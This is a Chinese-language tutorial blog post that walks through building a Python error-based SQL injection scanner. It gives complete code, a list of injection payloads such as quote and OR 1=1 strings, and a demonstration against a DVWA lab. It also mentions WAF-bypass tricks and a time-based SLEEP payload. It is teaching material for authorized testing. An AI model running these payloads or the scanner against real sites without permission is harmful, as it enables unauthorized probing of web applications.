用 Python 写 SQL 注入检测工具:从原理到实战(附完整代码)
用 Python 写 SQL 注入检测工具:从原理到实战(附完整代码)

“学过 Python 爬虫,会用 requests 发请求,却不知道怎么改成安全检测工具;知道 SQL 注入是‘拼接漏洞’,但对着靶机输了半天 Payload,还是分不清‘有漏洞’和‘没漏洞’的区别”—— 这是计算机专业转行网络安全时,落地安全工具开发最常见的困境。
其实 SQL 注入检测工具的核心逻辑很简单:用 Python 模拟 “用户输入恶意 Payload→发送请求→判断响应是否异常” 的过程,不需要复杂算法,甚至不用深入理解 SQL 语法细节。本文从 “原理通俗化→工具模块化→实战验证” 三个维度,带你写出第一个能实际用的 SQL 注入检测工具,全程代码带注释,复制就能运行,让你真切感受到 “Python 基础 + 安全场景 = 安全工具” 的转化过程。
一、先搞懂:SQL 注入检测的 “核心逻辑”(不用背学术定义)
不用纠结 “布尔盲注”“时间盲注” 这些复杂概念,新手先掌握 “基于错误的 SQL 注入检测”—— 这是最直观、最适合工具化的检测方式,核心就 3 步:
-
正常请求:向目标接口发送 “合法参数”(如id=1),记录正常响应(比如页面显示 “用户信息”);
-
注入请求:发送 “带恶意 Payload 的参数”(如id=1’),故意让 SQL 语句语法错误;
-
对比响应:如果注入请求的响应包含 “SQL 语法错误”“You have an error in your SQL syntax” 等关键词,说明参数未过滤,存在 SQL 注入漏洞。
举个通俗例子:
-
后台正常 SQL:SELECT * FROM user WHERE id=1(合法参数,正常执行);
-
注入后 SQL:SELECT * FROM user WHERE id=1’(多了一个单引号,SQL 语法错误,数据库会返回错误信息);
-
工具只要捕捉到这个 “错误信息”,就能判断 “这里有 SQL 注入漏洞”。
二、工具设计:明确 “能做什么”“不能做什么”(避免贪多求全)
新手开发工具最容易犯 “功能堆砌” 的错,我们的工具聚焦 “核心刚需”,先实现 3 个实用功能:
-
支持 GET 请求检测:比如http://xxx.com/user?id=1这类 URL 参数注入;
-
支持 POST 请求检测:比如登录表单、提交数据等 POST 参数注入;
-
内置常见 Payload:包含 “单引号”“OR 1=1” 等基础 Payload,覆盖 80% 基础漏洞场景;
-
输出检测报告:明确标记 “有漏洞 / 无漏洞”,并显示触发漏洞的 Payload 和响应关键词。
不做什么(避免新手踩坑):
-
不支持 “盲注检测”(需要判断页面细微差异,逻辑复杂,后续再进阶);
-
不支持 “多线程扫描”(先保证单线程稳定运行,再优化效率);
-
不支持 “自动利用漏洞”(工具只做 “检测”,不做 “攻击”,避免法律风险)。
三、环境准备:3 分钟搭好开发环境(新手无压力)
不需要复杂配置,用你已有的 Python 环境,安装 2 个基础库即可:
| 库名称 | 作用 | 安装命令 |
|---|---|---|
| requests | 发送 HTTP 请求(GET/POST) | pip install requests |
| urllib.parse | 处理 URL 编码(避免参数乱码) | Python 自带,无需额外安装 |
环境验证:
打开 Python 终端,输入以下代码,无报错则环境正常:
import requests
response = requests.get("https://www.baidu.com")
print("请求状态码:", response.status_code) # 输出200即正常
四、代码实现:分模块写工具(每步都带注释)
我们把工具拆成 “4 个核心函数”,每个函数负责一个功能,逻辑清晰,方便后续修改和扩展:
1. 模块 1:生成检测用的 Payload(不用自己记,工具自动带)
先定义常见的基础 Payload,覆盖 “语法错误”“逻辑绕过” 等场景,新手后续可自己扩展:
def get_sql_injection_payloads():
"""
生成SQL注入检测Payload列表
返回:Payload字符串列表
"""
return [
# 1. 语法错误型Payload(故意让SQL报错)
"'", # 单引号闭合,触发语法错误
"\"", # 双引号闭合(针对用双引号包裹参数的场景)
"1'", # 数字+单引号(如id=1')
"1\"", # 数字+双引号
# 2. 逻辑绕过型Payload(判断是否能改变查询结果)
"1 OR 1=1", # 让查询条件永远为真(如id=1 OR 1=1)
"1' OR 1=1-- ",# 单引号闭合+逻辑绕过+注释多余部分
"1\" OR 1=1-- " # 双引号版本
]
2. 模块 2:发送 HTTP 请求(支持 GET/POST,处理编码问题)
封装一个通用请求函数,解决 “参数编码”“超时重试” 等新手常踩的坑:
import requests
from urllib.parse import urlencode
def send_request(url, method="GET", params=None, data=None, timeout=5):
"""
发送HTTP请求,返回响应内容
参数:
- url:目标URL(如http://xxx.com/user)
- method:请求方法(GET/POST)
- params:GET参数(字典,如{"id": "1"})
- data:POST参数(字典,如{"username": "admin", "password": "123"})
- timeout:请求超时时间(默认5秒,避免卡死)
返回:
- response_text:响应文本(str),超时或报错返回空字符串
- status_code:响应状态码(int),超时或报错返回0
"""
# 设置请求头,模拟浏览器(避免被目标识别为爬虫/工具)
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0 Safari/537.36",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive"
}
try:
if method.upper() == "GET":
# GET请求:参数拼在URL后,自动处理编码
response = requests.get(
url=url,
params=params, # requests会自动编码参数,避免乱码
headers=headers,
timeout=timeout,
verify=False # 关闭SSL证书验证(新手测试靶机用,生产环境需开启)
)
elif method.upper() == "POST":
# POST请求:参数放在请求体中
response = requests.post(
url=url,
params=params, # URL中的参数(如有)
data=data, # POST表单数据
headers=headers,
timeout=timeout,
verify=False
)
else:
print(f"不支持的请求方法:{method}")
return "", 0
# 处理响应编码(避免中文乱码)
response.encoding = response.apparent_encoding
return response.text, response.status_code
except requests.exceptions.Timeout:
print(f"请求超时({timeout}秒):{url}")
return "", 0
except requests.exceptions.ConnectionError:
print(f"连接失败:{url}")
return "", 0
except Exception as e:
print(f"请求出错:{str(e)}")
return "", 0
3. 模块 3:核心检测逻辑(对比响应,判断是否有漏洞)
这是工具的 “大脑”,通过对比 “正常请求” 和 “注入请求” 的响应,判断是否存在漏洞:
def detect_sql_injection(url, method="GET", target_param=None, other_params=None):
"""
SQL注入检测核心逻辑
参数:
- url:目标URL(如http://xxx.com/user)
- method:请求方法(GET/POST)
- target_param:待检测的参数名(如"id",即要测试的注入点)
- other_params:其他非检测参数(字典,如{"page": "1"},非必填)
返回:
- 检测结果字典(含是否有漏洞、Payload、响应关键词等)
"""
# 初始化参数(处理默认值)
other_params = other_params if other_params else {}
payloads = get_sql_injection_payloads()
vulnerable_results = [] # 存储有漏洞的结果
# 1. 先发送正常请求,获取基准响应(判断目标是否正常可用)
normal_params = other_params.copy()
# 给待检测参数设一个合法值(如"1")
normal_params[target_param] = "1"
normal_response, normal_status = send_request(
url=url,
method=method,
params=normal_params if method == "GET" else None,
data=normal_params if method == "POST" else None
)
if normal_status != 200 or not normal_response:
return {
"status": "error",
"message": f"目标不可用,正常请求状态码:{normal_status}"
}
# 2. 遍历Payload,逐个检测
print(f"\n开始检测 {url} 的 {target_param} 参数({method}请求)...")
for payload in payloads:
# 构造注入参数(待检测参数用Payload,其他参数不变)
inject_params = other_params.copy()
inject_params[target_param] = payload
# 发送注入请求
inject_response, inject_status = send_request(
url=url,
method=method,
params=inject_params if method == "GET" else None,
data=inject_params if method == "POST" else None
)
if inject_status != 200 or not inject_response:
print(f"Payload {payload}:请求失败,跳过")
continue
# 3. 判断是否存在漏洞(检测响应中是否有SQL错误关键词)
sql_error_keywords = [
"You have an error in your SQL syntax", # MySQL语法错误
"SQL syntax error", # 通用SQL错误
"Microsoft OLE DB Provider for SQL Server", # SQL Server错误
"Unclosed quotation mark after the character string", # 未闭合的引号
"MySQL server version for the right syntax to use" # MySQL版本相关错误
]
# 检查是否包含任意一个错误关键词,且与正常响应差异明显
has_error = any(keyword in inject_response for keyword in sql_error_keywords)
# 避免误判:注入响应与正常响应差异要足够大(比如长度差超过100字符)
response_diff = abs(len(inject_response) - len(normal_response)) > 100
if has_error and response_diff:
# 记录有漏洞的结果
vulnerable_results.append({
"payload": payload,
"error_keyword": [k for k in sql_error_keywords if k in inject_response][0],
"response_length": len(inject_response)
})
print(f"✅ Payload {payload}:发现SQL注入漏洞!触发错误:{vulnerable_results[-1]['error_keyword']}")
else:
print(f"❌ Payload {payload}:未发现漏洞")
# 4. 整理检测结果
if vulnerable_results:
return {
"status": "vulnerable", # 有漏洞
"target_url": url,
"target_param": target_param,
"request_method": method,
"vulnerable_payloads": vulnerable_results,
"message": f"共发现 {len(vulnerable_results)} 个有效Payload"
}
else:
return {
"status": "safe", # 无漏洞
"target_url": url,
"target_param": target_param,
"request_method": method,
"message": "未发现SQL注入漏洞(基础Payload检测)"
}
4. 模块 4:输出检测报告(直观展示结果,方便后续分析)
把检测结果整理成易读的格式,支持打印到控制台,后续可扩展为 HTML 报告:
def print_detection_report(result):
"""
打印检测报告
参数:result - detect_sql_injection返回的结果字典
"""
print("\n" + "="*50)
print("SQL注入检测报告")
print("="*50)
if result["status"] == "error":
print(f"❌ 检测失败:{result['message']}")
elif result["status"] == "vulnerable":
print(f"⚠️ 检测结果:目标存在SQL注入漏洞!")
print(f"目标URL:{result['target_url']}")
print(f"检测参数:{result['target_param']}({result['request_method']}请求)")
print(f"有效Payload数量:{len(result['vulnerable_payloads'])}")
print("\n详细Payload信息:")
for i, payload_info in enumerate(result['vulnerable_payloads'], 1):
print(f"{i}. Payload:{payload_info['payload']}")
print(f" 触发错误:{payload_info['error_keyword']}")
print(f" 响应长度:{payload_info['response_length']}")
else:
print(f"✅ 检测结果:未发现SQL注入漏洞")
print(f"目标URL:{result['target_url']}")
print(f"检测参数:{result['target_param']}({result['request_method']}请求)")
print("="*50 + "\n")
5. 工具入口:调用函数,开始检测(新手直接改参数即可)
最后写一个入口函数,新手只需修改target_config中的配置,就能测试自己的靶场:
def main():
# 配置检测目标(新手只需修改这里!)
target_configs = [
# 配置1:检测GET请求(DVWA的SQL注入模块)
{
"url": "http://192.168.71.131/dvwa/vulnerabilities/sqli/",
"method": "GET",
"target_param": "id", # 要检测的参数(注入点)
"other_params": {
"Submit": "Submit", # 其他固定参数(如提交按钮的参数)
"user_token": "b1234567890abcdef" # DVWA的CSRF令牌(需从页面获取,后文讲怎么找)
}
},
# 配置2:检测POST请求(比如登录表单,可自行扩展)
# {
# "url": "http://192.168.71.131/dvwa/login.php",
# "method": "POST",
# "target_param": "username", # 测试用户名参数是否有注入
# "other_params": {
# "password": "123456",
# "Login": "Login"
# }
# }
]
# 遍历配置,逐个检测
for config in target_configs:
detection_result = detect_sql_injection(
url=config["url"],
method=config["method"],
target_param=config["target_param"],
other_params=config["other_params"]
)
print_detection_report(detection_result)
if __name__ == "__main__":
main()
五、实战测试:在 DVWA 靶场验证工具(10 分钟出结果)
工具写好后,必须在授权靶场测试(禁止扫描真实网站!),推荐用 DVWA(Web 漏洞练习平台),步骤如下:
1. 准备 DVWA 靶场
-
按前文《Kali Linux 入门实战》中的方法,在 Kali 中部署 DVWA;
-
登录 DVWA(默认账号 admin/password),进入 “DVWA Security”,将安全等级设为 “Low”(关闭防护,方便工具检测);
-
进入 “SQL Injection” 模块(GET 请求注入场景),观察 URL:http://192.168.71.131/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit&user_token=xxx—— 这里的id就是我们要检测的参数,user_token是 DVWA 的 CSRF 令牌(必须带上,否则请求会被拒绝)。
2. 获取 CSRF 令牌(关键!否则工具会请求失败)
DVWA 的 Low 等级也需要user_token参数,获取方法:
-
打开 DVWA 的 SQL Injection 页面,按 F12 打开浏览器开发者工具;
-
刷新页面,在 “Elements” 标签中搜索 “user_token”,找到类似这样的代码:
<input type="hidden" name="user_token" value="b1234567890abcdef">
- 复制value的值(如b1234567890abcdef),替换工具target_configs中的user_token参数。
3. 运行工具,查看结果
-
保存工具代码为sql_injection_detector.py;
-
在终端运行:python sql_injection_detector.py;
-
预期输出(类似这样):
开始检测 http://192.168.71.131/dvwa/vulnerabilities/sqli/ 的 id 参数(GET请求)...
✅ Payload ':发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
❌ Payload ":未发现漏洞
✅ Payload 1':发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
❌ Payload 1":未发现漏洞
✅ Payload 1 OR 1=1:发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
✅ Payload 1' OR 1=1-- :发现SQL注入漏洞!触发错误:You have an error in your SQL syntax
❌ Payload 1" OR 1=1-- :未发现漏洞
==================================================
SQL注入检测报告
==================================================
⚠️ 检测结果:目标存在SQL注入漏洞!
目标URL:http://192.168.71.131/dvwa/vulnerabilities/sqli/
检测参数:id(GET请求)
有效Payload数量:4
详细Payload信息:
1. Payload:'
触发错误:You have an error in your SQL syntax
响应长度:1250
2. Payload:1'
触发错误:You have an error in your SQL syntax
响应长度:1252
3. Payload:1 OR 1=1
触发错误:You have an error in your SQL syntax
响应长度:1260
4. Payload:1' OR 1=1--
触发错误:You have an error in your SQL syntax
响应长度:1258
==================================================
- 验证漏洞:复制工具发现的 Payload(如id=1’),粘贴到 DVWA 的输入框,点击 Submit—— 页面会显示 SQL 语法错误,证明工具检测结果正确!
六、避坑指南:新手 90% 会遇到的 5 个问题
1. 坑 1:请求失败,提示 “CSRF token missing”(DVWA 场景)
原因:DVWA 需要user_token参数防 CSRF,工具没带这个参数;
解决方案:按前文步骤获取user_token,添加到other_params中。
2. 坑 2:Payload 中的特殊字符被编码(如空格变成 %20)
原因:requests 库会自动编码 URL 参数,但 POST 参数编码可能不一致;
解决方案:GET 请求不用处理(requests 会自动编码),POST 请求若有问题,可手动编码:
# POST参数手动编码示例(如需)
from urllib.parse import urlencode
data = urlencode(inject_params) # 编码为username=admin%27&password=123
response = requests.post(url, data=data, headers=headers)
3. 坑 3:工具误判 “有漏洞”,但实际无漏洞
原因:响应中包含 SQL 错误关键词,但不是注入导致的(比如页面本身有测试用的错误提示);
解决方案:加强判断条件,比如增加 “响应长度差异”(response_diff),只有错误关键词 + 长度差异大时才判定为漏洞(工具中已包含此逻辑)。
4. 坑 4:目标网站有 WAF,工具检测不到漏洞
原因:WAF 拦截了恶意 Payload(如返回 403);
解决方案:新手先在无 WAF 的靶场测试(如 DVWA Low 等级),后续再学 Payload 绕过技巧(如替换OR为oR,空格替换为/**/)。
5. 坑 5:法律风险!扫描真实网站被警告
红线提醒:工具只能用于自己搭建的靶场或获得明确授权的测试环境,禁止扫描任何真实网站(包括公开的企业网站),否则可能触犯《网络安全法》!
七、进阶优化:让工具更实用(后续可扩展的功能)
当你能成功运行基础版工具后,可按以下方向优化,提升工具竞争力:
-
支持多线程扫描:用threading库同时检测多个参数 / URL,效率提升 10 倍;
-
扩展 Payload 字典:加入 “时间盲注 Payload”(如1’ AND SLEEP(5)-- ),支持盲注检测;
-
生成 HTML 报告:用jinja2模板引擎生成带图表的报告,方便提交给团队;
-
支持 Cookie 登录:添加cookies参数,检测需要登录的接口(如后台管理系统);
-
Payload 绕过:对 Payload 进行简单变形(如OR→oR,=→like),绕过基础 WAF。
最后:工具开发的核心是 “解决实际问题”
很多转行用户觉得 “写安全工具需要高深技术”,但从这个 SQL 注入检测工具能看出:核心逻辑就是 “发送请求→对比响应”,用的都是 Python 基础库和简单判断。你的 Python 爬虫经验(requests 发请求)、字符串处理能力(判断响应关键词),都能直接转化为安全工具开发能力。
网络安全学习资料分享
为了帮助大家更好的学习网络安全,我把我从一线互联网大厂薅来的网络安全教程及资料分享给大家,里面的内容都是适合零基础小白的笔记和资料,不懂编程也能听懂、看懂,朋友们如果有需要这套网络安全教程+进阶学习资源包,可以扫码下方二维码限时免费领取(如遇扫码问题,可以在评论区留言领取哦)~


更多推荐

所有评论(0)